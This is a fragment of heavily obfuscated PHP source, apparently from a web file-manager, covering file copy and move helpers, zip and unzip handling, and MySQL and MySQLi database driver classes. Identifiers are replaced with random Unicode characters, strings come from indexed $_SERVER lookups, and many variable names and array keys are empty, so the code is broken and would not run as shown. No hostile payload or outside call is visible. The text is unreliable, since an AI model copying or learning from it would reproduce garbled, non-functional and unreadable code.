$ח->getPathOuter($Ӡ); } if (method_exists($ח, $)) { return $ח->{$}($Ӡ, $, $듘, $ڙʈ); } } if ($ && $ == $[551] && $ח->getType() == $[107]) { $ = $ח->movePath($Ӡ, $, $ڙʈ); if ($) { return $; } } $ = $->isFile($Ӡ); if (!$ && $ח->getType() == $[751] && $->getType() == $[107]) { $ = $ח->copyFolderFromIO($, $Ӡ, $, $듘, $, $ڙʈ); } else { $ = self::copyPath($, $Ӡ, $ח, $, $듘, $, $, $ڙʈ); } if ($ && $) { $->remove($Ӡ); } if ($ѫђ) { $ = $ѫђ->getPathOuter($); } return $; } private static function check($Ȍ, $턉ŋ, $ʱ, &$Ʋ) { $܆ =& $_SERVER[]; if (self::driverIsSame($Ȍ, $ʱ) && $Ȍ->isFolder($턉ŋ) && $Ȍ->isParentOf($턉ŋ, $Ʋ)) { show_json(LNG($܆[1140]), !1); } if (!$Ȍ->exist($턉ŋ)) { show_json(LNG($܆[106]), !1); } } private static function copyPath($, $ɤ, $蟘, $ӣъ, $, $, $֛Ͱ, $ = false) { $փϗ =& $_SERVER[]; $踉 = empty($) && $ !== $փϗ[190] ? $->pathThis($ɤ) : $; if ($) { $ = $蟘->fileNameExist($ӣъ, $踉); $踉 = $蟘->fileNameAuto($ӣъ, $踉, $, !$֛Ͱ); $ = $ ? $ : !1; } if ($֛Ͱ) { return self::copyFile($, $ɤ, $蟘, $ӣъ, $踉, $); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $ = rtrim($ӣъ, $փϗ[8]) . $փϗ[8] . $踉; $Զ = $蟘->mkdir($蟘->getPath($)); $ӣъ = $蟘->getPathInner($Զ); $𵓊 = $->listPath($ɤ, !0); $𵓊 = is_array($𵓊) ? $𵓊 : array($փϗ[76] => array(), $փϗ[77] => array()); $DŽ = array_merge($𵓊[$փϗ[76]], $𵓊[$փϗ[77]]); foreach ($DŽ as $ģ) { $ = $ģ[$փϗ[33]] == $փϗ[192]; $ɤ = $->getPathInner($ģ[$փϗ[78]]); $ = self::copyPath($, $ɤ, $蟘, $ӣъ, $, $, $); if (!$) { IO::errorTips($փϗ[1141] . $ɤ . $փϗ[70] . $ӣъ); } } self::copyMoveKeepInfo($, $ɤ, $Զ); return $Զ; } private static function copyFile($, $ۙ, $Β, $, $܅, $) { $쫺 =& $_SERVER[]; $ = $Β->getPath(rtrim($, $쫺[8]) . $쫺[8] . $܅); $Ӟ = $쫺[1142] . time() . rand_string(5); Hook::trigger($쫺[1143], $, $ۙ, $Β, $, $܅, $Ӟ); if (self::driverIsSame($, $Β)) { if ($) { $ʠ = $Β->moveFile($ۙ, $); } else { $ʠ = $Β->copyFile($ۙ, $); } Hook::trigger($쫺[1144], $, $ۙ, $Β, $, $܅, $ʠ); self::copyMoveKeepInfo($, $ۙ, $ʠ); return $ʠ; } $ے = TEMP_FILES; if ($GLOBALS[$쫺[6]][$쫺[90]][$쫺[789]]) { $ے = $GLOBALS[$쫺[6]][$쫺[90]][$쫺[789]]; } $ = $ے; mk_dir($); $ = $ . $Ӟ; $ = $; $ = $->download($ۙ, $); $ = $->iconvApp($); if (substr($, strlen($ے)) == $ے) { $ = !0; } $ʠ = $Β->upload($, $, $); self::remove($); Hook::trigger($쫺[1144], $, $ۙ, $Β, $, $܅, $ʠ); self::copyMoveKeepInfo($, $ۙ, $ʠ); return $ʠ; } private static function copyMoveKeepInfo($ߔ, $Ÿ, $ð) { if (!$ð) { return; } $ = $ߔ->info($Ÿ); if (!is_array($)) { return; } IO::setModifyTime($ð, $[$_SERVER[][86]]); } public static function pathFather($ּ) { $ס = IO::init($ּ); $Ѵٙ = $ס->pathFather($ס->path); return $ס->getPathOuter($Ѵٙ); } public static function fileOut($, $ = false, $掤 = false, $ = '') { $ = self::driverMake($); if ($->isFileOutServer()) { return $->fileOutServer($, $, $掤, $); } return $->fileOut($, $, $掤, $); } public static function fileOutImage($ҲҦ, $ݸ횹 = 250) { $ׯ = array(250, 600, 1200, 2000, 3000, 5000); for ($ԏ݁ = 0; $ԏ݁ < count($ׯ); $ԏ݁++) { if ($ԏ݁ == 0 && $ݸ횹 <= $ׯ[$ԏ݁]) { $ݸ횹 = $ׯ[$ԏ݁]; break; } else { if ($ݸ횹 > $ׯ[$ԏ݁ - 1] && $ݸ횹 <= $ׯ[$ԏ݁]) { $ݸ횹 = $ׯ[$ԏ݁]; break; } else { if ($ԏ݁ == count($ׯ) - 1 && $ݸ횹 > $ׯ[$ԏ݁]) { $ݸ횹 = $ׯ[$ԏ݁]; break; } } } } $ڑЁ = self::driverMake($ҲҦ); if ($ڑЁ->isFileOutServer()) { return $ڑЁ->fileOutImageServer($ҲҦ, $ݸ횹); } return $ڑЁ->fileOutImage($ҲҦ, $ݸ횹); } private static function driverIsSame($漞޿, $żκ) { $ =& $_SERVER[]; $ = $漞޿->getType(); $ = $żκ->getType(); if ($ != $) { return !1; } if ($ == $[751]) { return !0; } if ($ == $[107]) { return !0; } if ($漞޿->pathDriver == $żκ->pathDriver) { return !0; } return !1; } public static function copyUpdate($ي, $) { $ۧЌ =& $_SERVER[]; if (!IO::exist($ي)) { return !1; } if (!IO::exist($)) { IO::mkdir($); } $ = self::_listAll($ي); $딜 = self::_listAll($); $Ň = array(); $ت = array(); foreach ($ as $ => $) { if (isset($딜[$])) { if ($[$ۧЌ[79]] == 1) { continue; } if ($딜[$][$ۧЌ[80]] == $[$ۧЌ[80]]) { continue; } } if ($[$ۧЌ[79]] == 1) { $ت[] = $ . $ۧЌ[8] . $; continue; } $Ŋ = strstr(trim($, $ۧЌ[8]), $ۧЌ[8]) ? get_path_father($) : $ۧЌ[12]; $Ň[] = array($ۧЌ[1145] => $[$ۧЌ[78]], $ۧЌ[1146] => rtrim($, $ۧЌ[8]) . $ۧЌ[8] . $Ŋ, $ۧЌ[1147] => $); } $ = array($ۧЌ[192] => $Ň, $ۧЌ[79] => $ت); Hook::trigger($ۧЌ[1148], $ي, $, $); foreach ($ت as $) { IO::mkdir($); } foreach ($Ň as $) { IO::copy($[$ۧЌ[1145]], $[$ۧЌ[1146]], REPEAT_REPLACE); } } private static function _listAll($ܘƁ) { $ =& $_SERVER[]; $ܘƁ = KodIO::clear($ܘƁ); $ؼɻ = IO::listAll($ܘƁ); foreach ($ؼɻ as &$ƶ˺) { $Ҝ = substr($ƶ˺[$[78]], strlen($ܘƁ)); $ƶ˺[$[1149]] = trim($Ҝ, $[8]); } unset($ƶ˺); return array_to_keyvalue($ؼɻ, $[1149]); } public static function fileSubstr($, $ճ賫, $ = false) { $؅ =& $_SERVER[]; $ = self::driverMake($); $ňα = $->size($); $ = $ճ賫; $쟦 = $; if ($ճ賫 < 0) { $ճ賫 = $ňα + $ճ賫; } if ($ === !1) { $ = $ňα - $ճ賫; } if ($ճ賫 + $ > $ňα) { $ = $ňα - $ճ賫; } if (!$ňα && $->getType() == $؅[107] && !$->exist($)) { throw new Exception($؅[1150] . LNG($؅[1151]) . $؅[953] . get_path_this($) . $؅[12]); } if ($ <= 0) { return $؅[12]; } if ($ճ賫 < 0 || $ճ賫 >= $ňα || $ > 1024 * 1024 * 10) { throw new Exception("\146\x69\x6c\145\122\x65\x61\x64\x20\x65\x72\162\x6f\x72\41\40\x73\x74\141\162\164\x3d{$ճ賫}\73\154\x65\x6e\x67\x74\x68\x3d{$}\x3b\40\163\151\172\145\75{$ňα}\x3b"); } $Ů = $->fileSubstr($, $ճ賫, $); if (!$Ů && $ && isset($GLOBALS[$؅[1152]])) { throw new Exception($GLOBALS[$؅[1152]][$؅[1153]]); } return $Ů; } private static function driverMake(&$) { $ƚ =& $_SERVER[]; $ = KodIO::parse($); if (!self::$driverListSystem) { $ = Model($ƚ[760])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $ƚ[401]); } if ($[$ƚ[33]] == KodIO::KOD_IO && !self::$driverListSystem[$[$ƚ[401]]]) { return !1; } $ = $[$ƚ[1154]]; $ʒ؅ = self::driverGet($, $); return $ʒ؅; } private static function driverGet($, &$Ұ) { $ɕ =& $_SERVER[]; $ = $[$ɕ[1155]]; $ = $[$ɕ[401]]; switch ($[$ɕ[33]]) { case KodIO::KOD_IO: $̗ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $Ұ = $ . $Ұ; $̗ = array($ɕ[1156] => $ɕ[1157], $ɕ[6] => $); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $⼷֙ = $GLOBALS[$ɕ[1158]]; self::$driverListUser = array_to_keyvalue($⼷֙, $ɕ[401]); } $̗ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $̗ = array($ɕ[1156] => $ɕ[1159], $ɕ[6] => $); $⣸ = Action($ɕ[1160])->sharePathInfo($[$ɕ[78]]); $Ұ = $⣸[$ɕ[403]]; if (!$⣸[$ɕ[403]]) { $© = Model($ɕ[595])->getInfo($⣸[$ɕ[488]]); $Ұ = KodIO::clear($©[$ɕ[1161]] . $[$ɕ[1154]]); $[$ɕ[486]] = $©; $[$ɕ[1138]] = $Ұ; $̗ = array($ɕ[1156] => $ɕ[1162], $ɕ[6] => $); } break; case KodIO::KOD_SHARE_ITEM: $̗ = array($ɕ[1156] => $ɕ[1163], $ɕ[6] => $); $© = Model($ɕ[595])->getInfo($[$ɕ[401]]); if ($©[$ɕ[403]] == $ɕ[190]) { $Ұ = KodIO::clear($©[$ɕ[1161]] . $[$ɕ[1154]]); $[$ɕ[486]] = $©; $[$ɕ[1138]] = $Ұ; $̗ = array($ɕ[1156] => $ɕ[1164], $ɕ[6] => $); } else { if (!$Ұ) { $Ұ = $©[$ɕ[403]]; } } break; default: $Ұ = $[$ɕ[78]]; $̗ = array($ɕ[1156] => $ɕ[1165]); break; } $͔ = $[$ɕ[78]]; if (!isset(self::$driverCache[$͔])) { $ = strtolower($̗[$ɕ[96]]); $Ҝ = $GLOBALS[$ɕ[6]][$ɕ[90]][$ɕ[819]]; $ᨤ = $ɕ[74] . (isset($Ҝ[$]) ? $Ҝ[$] : ucfirst($)); if (!class_exists($ᨤ)) { show_json("{$ᨤ}\x20\x6e\157\164\x20\145\x78\151\163\x74\163\41", !1); } $ = isset($̗[$ɕ[6]]) ? $̗[$ɕ[6]] : !1; self::$driverCache[$͔] = new $ᨤ($); } $⫀ = self::$driverCache[$͔]; $⫀->pathDriver = $; $⫀->pathBase = $ɕ[12]; if (isset($̗[$ɕ[6]][$ɕ[1166]])) { $⫀->pathBase = rtrim($̗[$ɕ[6]][$ɕ[1166]], $ɕ[8]) . $ɕ[8]; $Ұ = $⫀->pathBase . ltrim($Ұ, $ɕ[8]); } $Ұ = $⫀->getPath($Ұ); if (isset($[$ɕ[1138]])) { $Ұ = $[$ɕ[1138]]; } $⫀->path = $Ұ; return $⫀; } public static function errorTips($պ = false) { $릁 =& $_SERVER[]; static $뵌ß = array(); $Նɖ = 1000; if ($պ === -1) { return $뵌ß ? $뵌ß[count($뵌ß) - 1] : $릁[12]; } if ($պ === !1) { return implode($릁[226], $뵌ß); } if (count($뵌ß) >= $Նɖ) { $뵌ß = array_slice($뵌ß, $Նɖ * 0.5, $Նɖ); } $뵌ß[] = $պ; write_log($릁[159] . ACTION . $릁[1167] . $պ, $릁[1168]); } public static function getLastError($ќ = '') { $䷈ = self::errorTips(-1); return $䷈ ? $䷈ : $ќ; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if (!$) { $蜼 = IO::init($_SERVER[][8]); } return $蜼; } private static function iconvSystem($Έ) { return self::local()->iconvSystem($Έ); } private static function iconvApp($즄) { return self::local()->iconvApp($즄); } public static function zip($, $ = "\x7a\x69\160", $Ť = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = self::init($[0][$[78]]); $ɲ = self::info($[0][$[78]]); $ꖕ = !1; if (!$Ť && $->getType() == $[107]) { $ޚ = self::zipFileList($); } else { $ꖕ = $Ť ? $Ť : TEMP_FILES . $[1169] . time() . rand_string(8) . $[8]; mk_dir($ꖕ); $ޚ = self::zipFileList($, $ꖕ); } $ӥ = $ɲ[$[32]]; if (count($ޚ) > 1) { $֘ = IO::info(IO::pathFather($ɲ[$[78]])); $ӥ = $֘[$[32]]; } $砷 = $ꖕ; if (!$砷) { $砷 = get_path_father($ɲ[$[78]]); if (!$Ť && $->getType() == $[107]) { $砷 = get_path_father($->path); } $隷 = IO::info($砷); if (!$隷[$[195]]) { show_json(LNG($[1170]), !1); } } $ƽ = $砷 . $ӥ . $[10] . $; $ƽ = get_filename_auto($ƽ, $[12], $); $ = self::iconvSystem($ƽ); foreach ($ޚ as $ => $) { $ޚ[$] = self::iconvSystem($); } KodArchive::create($, $ޚ); if (!IO::exist($ƽ)) { if ($ꖕ) { del_dir($ꖕ); } show_json(LNG($[1171]), !1); } if ($Ť || !$ꖕ) { if ($ꖕ && strstr($ꖕ, TEMP_FILES)) { $ = $ޚ = array(); recursion_dir($砷, $, $ޚ, 0); foreach ($ as $ء) { del_dir($ء); } foreach ($ޚ as $Ү) { if ($Ү == $) { continue; } del_file($Ү); } } return $ƽ; } $姥 = self::pathFather($ɲ[$[78]]); $ = self::move($ƽ, $姥, $); if (!$) { del_dir($ꖕ); show_json(LNG($[1171]), !1); } del_dir($ꖕ); return $; } public static function unzip($, $ = "\x72\145\160\x6c\141\143\145") { $ٻ =& $_SERVER[]; $ = $[$ٻ[78]]; $Я = $[$ٻ[1172]]; if (!($ = parent::info($))) { show_json(LNG($ٻ[1173]), !1); } if (!($̆ = parent::infoFull($Я))) { $Я = parent::mkdir($Я); $̆ = array($ٻ[78] => $Я); } else { if (isset($̆[$ٻ[403]]) && trim($̆[$ٻ[78]], $ٻ[8]) != trim($Я, $ٻ[8])) { $ = KodIO::make($̆[$ٻ[498]]); $؜ = parent::fileNameAuto($, $̆[$ٻ[32]], REPEAT_RENAME_FOLDER, !0); $Я = parent::mkdir($ . $؜); $̆ = array($ٻ[78] => $Я); } } $Я = $̆[$ٻ[78]]; $޲ = self::tmpFileName($); $ϣ = TEMP_FILES . $޲; del_dir($ϣ); mk_dir($ϣ); $ = self::fileExt($); $ï = $ϣ . $ٻ[10] . $; if (!@file_exists(self::iconvSystem($ï))) { $Ȟ = self::localFilePath($, $); $ï = $Ȟ ? $Ȟ : parent::download($, $ï); } $ï = self::iconvSystem($ï); $ک͠ = isset($[$ٻ[1174]]) ? $[$ٻ[1174]] : $ٻ[1175]; $ = KodArchive::extract($ï, $ϣ . $ٻ[8], $ک͠); self::archiveExt(); if (!$[$ٻ[1176]]) { show_json($ٻ[1177] . $[$ٻ[1178]], !1); } Hook::trigger($ٻ[1179], $ϣ); recursion_dir($ϣ, $䚫, $݃, 0); $ = array_merge($䚫, $݃); foreach ($ as $) { $ = self::iconvApp($); self::move($, $Я, $); } del_dir($ϣ); if (!$Ȟ) { del_file($ï); } return !0; } public static function unzipList($ꌷ) { $۽Ȉ =& $_SERVER[]; $܄ = $ꌷ[$۽Ȉ[78]]; $ݩ = isset($ꌷ[$۽Ȉ[1180]]) ? $ꌷ[$۽Ȉ[1180]] : -1; $а = 50000; if (request_url_safe($܄)) { $ = parse_url_query($܄); if (!isset($[$۽Ȉ[78]])) { show_json($۽Ȉ[1181], !1); } } $Ȭ̙ = isset($) ? $[$۽Ȉ[78]] : $܄; $ݰ߾ = self::info($Ȭ̙); $ = self::fileExt($ݰ߾); $̯ = self::tmpFileName($ݰ߾); if (isset($)) { $⍙Ɍ = array($[$۽Ȉ[78]], $[$۽Ȉ[1180]], $[$۽Ȉ[32]]); $ = md5(implode($۽Ȉ[11], $⍙Ɍ)) . $۽Ȉ[10] . get_path_ext($[$۽Ȉ[32]]); } else { $⍙Ɍ = array($ݰ߾[$۽Ȉ[32]], $ݰ߾[$۽Ȉ[78]], $ݰ߾[$۽Ȉ[80]]); $ = md5(implode($۽Ȉ[11], $⍙Ɍ)) . $۽Ȉ[10] . $; } if ($ݩ == -1) { $ = IO_PATH_SYSTEM_TEMP . "\x7a\x69\160\x56\151\x65\x77\x2f{$̯}\x2f{$}\56\x6c\x6f\147"; $ߕ = self::infoFull($); if ($ߕ) { $ = $ߕ[$۽Ȉ[78]]; $ = self::getContent($); if ($) { $ӓ = json_decode($, !0); $ӓ = is_array($ӓ) ? $ӓ : array(); if (count($ӓ) >= $а) { show_json(sprintf(LNG($۽Ȉ[1182]), count($ӓ)), !1); } return $ӓ; } } else { $ = self::mkfile($); } } $Ӝ = TEMP_FILES . $̯; if (!is_dir($Ӝ)) { mk_dir($Ӝ); } $ = $Ӝ . $۽Ȉ[8] . $; if (!@file_exists(self::iconvSystem($))) { if (isset($)) { url_request($܄, $۽Ȉ[1183], $); } else { $ = self::localFilePath($܄, $); $ = $ ? $ : self::download($܄, $); } } $ = self::iconvSystem($); if ($ݩ >= 0) { $܇ = isset($ꌷ[$۽Ȉ[1184]]) ? $ꌷ[$۽Ȉ[1184]] : !1; $ = isset($ꌷ[$۽Ȉ[32]]) ? $ꌷ[$۽Ȉ[32]] : $۽Ȉ[12]; KodArchive::filePreview($, $ݩ, $܇, $); self::archiveExt(); die; } $ = KodArchive::listContent($); self::archiveExt(); del_dir($Ӝ); if (!$[$۽Ȉ[1176]]) { show_json($[$۽Ȉ[1178]], !1); } $ӓ = json_encode($[$۽Ȉ[1178]]); self::setContent($, $ӓ); if (count($[$۽Ȉ[1178]]) >= $а) { show_json(sprintf(LNG($۽Ȉ[1182]), count($[$۽Ȉ[1178]])), !1); } return $[$۽Ȉ[1178]]; } private static function fileExt($٢) { $ =& $_SERVER[]; $ٱ = $٢[$[167]]; if ($ٱ == $[1185]) { $ۙ騉 = $[1186]; if (substr($٢[$[32]], -strlen($ۙ騉)) == $ۙ騉) { $ٱ = $[1187]; } } self::archiveExt($ٱ); return $ٱ; } private static function zipFileList($ы, $ = false) { $■ =& $_SERVER[]; $ֵ = array(); foreach ($ы as $ԙ) { $Ҳ = $ԙ[$■[78]]; if ($) { $Ҳ = self::copy($ԙ[$■[78]], $, $■[811]); } else { $ = self::init($ԙ[$■[78]]); if ($->getType() == $■[107]) { $Ҳ = $->path; } } if ($Ҳ && self::local()->exist($Ҳ)) { $ֵ[$ԙ[$■[78]]] = $Ҳ; } } if (!empty($ֵ)) { return array_values($ֵ); } show_json(LNG($■[1151]), !1); } public static function tmpFileName($˹) { $׫ =& $_SERVER[]; $ = array($˹[$׫[32]], $˹[$׫[78]], $˹[$׫[80]], $˹[$׫[521]]); return md5(implode($׫[11], $)); } private static function localFilePath($, $ʷ) { $ڈ =& $_SERVER[]; if ($ʷ == $ڈ[1188] && strtoupper(substr(PHP_OS, 0, 3)) == $ڈ[1189]) { return !1; } $덖 = KodIO::parse($); if ($덖[$ڈ[33]] == KodIO::KOD_SOURCE) { $޹ = Model($ڈ[818])->fileInfoGet(KodIO::sourceID($)); if (!$޹[$ڈ[78]]) { show_json($ڈ[1190], !1); } $ = $޹[$ڈ[78]]; } $펥ˮ = self::init($); if ($펥ˮ->pathParse[$ڈ[1138]]) { $ = $펥ˮ->pathParse[$ڈ[1138]]; $펥ˮ = self::init($); } $؊ = $펥ˮ->getType(); if ($؊ == $ڈ[107] || $؊ == $ڈ[1191]) { if (!$펥ˮ->exist($펥ˮ->path)) { show_json(LNG($ڈ[106]), !1); } return $펥ˮ->path; } return !1; } private static function archiveExt($ = '') { $GLOBALS[$_SERVER[][1192]] = $; } } goto B; Bѥ: class DbMysql extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!extension_loaded($[797])) { think_exception(think_lang($[14]) . $[872]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($݁ = '', $ = 0, $ު = false) { $߂ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($݁)) { $݁ = $this->config; } $߈ = $݁[$߂[873]] . ($݁[$߂[874]] ? "\x3a{$݁[$߂[874]]}" : $߂[12]); $ = !empty($݁[$߂[17]][$߂[18]]) ? $݁[$߂[17]][$߂[18]] : $this->pconnect; if ($) { $this->linkID[$] = mysql_pconnect($߈, $݁[$߂[875]], $݁[$߂[876]], 131072); } else { $this->linkID[$] = mysql_connect($߈, $݁[$߂[875]], $݁[$߂[876]], !0, 131072); } if (!$this->linkID[$] || !empty($݁[$߂[21]]) && !mysql_select_db($݁[$߂[21]], $this->linkID[$])) { think_exception(mysql_error()); } $ = mysql_get_server_info($this->linkID[$]); mysql_query($߂[877] . think_config($߂[878]) . $߂[58], $this->linkID[$]); if ($ > $߂[879]) { mysql_query($߂[880], $this->linkID[$]); } $this->connected = !0; if (1 != think_config($߂[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($¨) { $‡ =& $_SERVER[]; if (0 === stripos($¨, $‡[259])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $¨; if ($this->queryID) { $this->free(); } think_action_status($‡[23], 1); think_status($‡[24]); $this->queryID = mysql_query($¨, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($ԸѤ) { $Ւ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ԸѤ; if ($this->queryID) { $this->free(); } think_action_status($Ւ[25], 1); think_status($Ւ[24]); $ߐ = mysql_query($ԸѤ, $this->_linkID); $this->debug(); if (!1 === $ߐ) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[][881], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][882], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][883], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $г = array(); if ($this->numRows > 0) { while ($ƪ = mysql_fetch_assoc($this->queryID)) { $г[] = $ƪ; } mysql_data_seek($this->queryID, 0); } return $г; } public function getFields($ő) { $ڵ =& $_SERVER[]; $ݞ = $this->query($ڵ[884] . $this->parseKey($ő)); $ݲ = array(); if ($ݞ) { foreach ($ݞ as $ۼ => $) { $ݲ[$[$ڵ[31]]] = array($ڵ[32] => $[$ڵ[31]], $ڵ[33] => $[$ڵ[34]], $ڵ[35] => (bool) (strtoupper($[$ڵ[36]]) === $ڵ[885]), $ڵ[37] => $[$ڵ[38]], $ڵ[39] => strtolower($[$ڵ[40]]) == $ڵ[41], $ڵ[42] => strtolower($[$ڵ[43]]) == $ڵ[44]); } } return $ݲ; } public function getTables($ = '') { $ =& $_SERVER[]; if (!empty($)) { $ = $[886] . $ . $[887]; } else { $ = $[888]; } $ȗ = $this->query($); $ӿ = array(); foreach ($ȗ as $ => $ш) { $ӿ[$] = current($ш); } return $ӿ; } public function replace($̍, $ = array()) { $ =& $_SERVER[]; foreach ($̍ as $ => $񥜬) { $ = $this->parseValue($񥜬); if (is_scalar($)) { $Ҍ[] = $; $[] = $this->parseKey($); } } $͔ = $[889] . $this->parseTable($[$[274]]) . $[890] . implode($[50], $) . $[891] . implode($[50], $Ҍ) . $[892]; return $this->execute($͔); } public function insertAll($ٶ, $썍 = array(), $ = false) { $ȿ =& $_SERVER[]; if (!is_array($ٶ[0])) { return !1; } $ = array_keys($ٶ[0]); $񰓠 = array(); foreach ($ٶ as $) { $뼟 = array(); foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $뼟[] = $; } } $񰓠[] = $ȿ[255] . implode($ȿ[50], $뼟) . $ȿ[892]; } array_walk($, array($this, $ȿ[893])); $ = ($ ? $ȿ[894] : $ȿ[895]) . $ȿ[896] . $this->parseTable($썍[$ȿ[274]]) . $ȿ[890] . implode($ȿ[50], $) . $ȿ[897] . implode($ȿ[50], $񰓠); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ѐ =& $_SERVER[]; $this->error = mysql_errno() . $ѐ[4] . mysql_error($this->_linkID); if ($ѐ[12] != $this->queryStr) { $this->error .= LNG($ѐ[48]) . $this->queryStr; } think_trace($this->error, $ѐ[12], $ѐ[49]); return $this->error; } public function escapeString($̝) { if ($this->_linkID) { return mysql_real_escape_string($̝, $this->_linkID); } else { return mysql_escape_string($̝); } } public function parseKey(&$﯃, $Ӫ = true) { $ׅ =& $_SERVER[]; if ($Ӫ) { $﯃ = $this->parseKeyCheck($﯃); } if ($﯃ != $ׅ[181] && !preg_match($ׅ[898], $﯃)) { $﯃ = $ׅ[380] . trim($﯃, $ׅ[380]) . $ׅ[380]; } return $﯃; } } class DbMysqli extends Db { public function __construct($æ = '') { $ݘ =& $_SERVER[]; if (!extension_loaded($ݘ[899])) { think_exception(think_lang($ݘ[14]) . $ݘ[900]); } if (!empty($æ)) { $this->config = $æ; if (empty($this->config[$ݘ[17]])) { $this->config[$ݘ[17]] = $ݘ[12]; } } } public function connect($Ϩ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($Ϩ)) { $Ϩ = $this->config; } $this->linkID[$] = new mysqli($Ϩ[$[873]], $Ϩ[$[875]], $Ϩ[$[876]], $Ϩ[$[21]], $Ϩ[$[874]] ? intval($Ϩ[$[874]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$]->server_version; $this->linkID[$]->query($[877] . think_config($[878]) . $[58]); if ($ > $[879]) { $this->linkID[$]->query($[880]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($) { $̎ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($̎[23], 1); think_status($̎[24]); $this->queryID = $this->_linkID->query($); if ($this->_linkID->more_results()) { while (($󍯛 = $this->_linkID->next_result()) != NULL) { $󍯛->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($㯣) { $̂ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $㯣; if ($this->queryID) { $this->free(); } think_action_status($̂[25], 1); think_status($̂[24]); $ = $this->_linkID->query($㯣); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ƛլ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$ƛլ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ǫ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ǫ) { $this->error(); return !1; } } return !0; } private function getAll() { $… = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $…[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $…; } public function getFields($) { $ۘ =& $_SERVER[]; $ߢ = $this->query($ۘ[884] . $this->parseKey($)); $Ӌ = array(); if ($ߢ) { foreach ($ߢ as $ => $) { $Ӌ[$[$ۘ[31]]] = array($ۘ[32] => $[$ۘ[31]], $ۘ[33] => $[$ۘ[34]], $ۘ[35] => (bool) ($[$ۘ[36]] === $ۘ[12]), $ۘ[37] => $[$ۘ[38]], $ۘ[39] => strtolower($[$ۘ[40]]) == $ۘ[41], $ۘ[42] => strtolower($[$ۘ[43]]) == $ۘ[44]); } } return $Ӌ; } public function getTables($ݢ = '') { $ =& $_SERVER[]; $ = !empty($ݢ) ? $[886] . $ݢ . $[887] : $[888]; $ѕ = $this->query($); $ϱ = array(); if ($ѕ) { foreach ($ѕ as $ș => $ü) { $ϱ[$ș] = current($ü); } } return $ϱ; } public function replace($, $͓֗ = array()) { $լ =& $_SERVER[]; foreach ($ as $̇ => $) { $Ԕ٢ = $this->parseValue($); if (is_scalar($Ԕ٢)) { $[] = $Ԕ٢; $Υ[] = $this->parseKey($̇); } } $ٯ = $լ[889] . $this->parseTable($͓֗[$լ[274]]) . $լ[890] . implode($լ[50], $Υ) . $լ[891] . implode($լ[50], $) . $լ[892]; return $this->execute($ٯ); } public function insertAll($, $“ = array(), $Ѵܣ = false) { $Ƹ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $߉낔 = array_keys($[0]); $ׁ = array(); foreach ($ as $˦) { $ᕦ = array(); foreach ($˦ as $ => $曋) { $曋 = $this->parseValue($曋); if (is_scalar($曋)) { $ᕦ[] = $曋; } } $ׁ[] = $Ƹ[255] . implode($Ƹ[50], $ᕦ) . $Ƹ[892]; } array_walk($߉낔, array($this, $Ƹ[893])); $ڛ = $Ѵܣ ? $Ƹ[894] : $Ƹ[895]; $ = $ڛ . $Ƹ[896] . $this->parseTable($“[$Ƹ[274]]) . $Ƹ[890] . implode($Ƹ[50], $߉낔) . $Ƹ[897] . implode($Ƹ[50], $ׁ); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $Đ =& $_SERVER[]; $this->error = $this->_linkID->errno . $Đ[4] . $this->_linkID->error; if ($Đ[12] != $this->queryStr) { $this->error .= 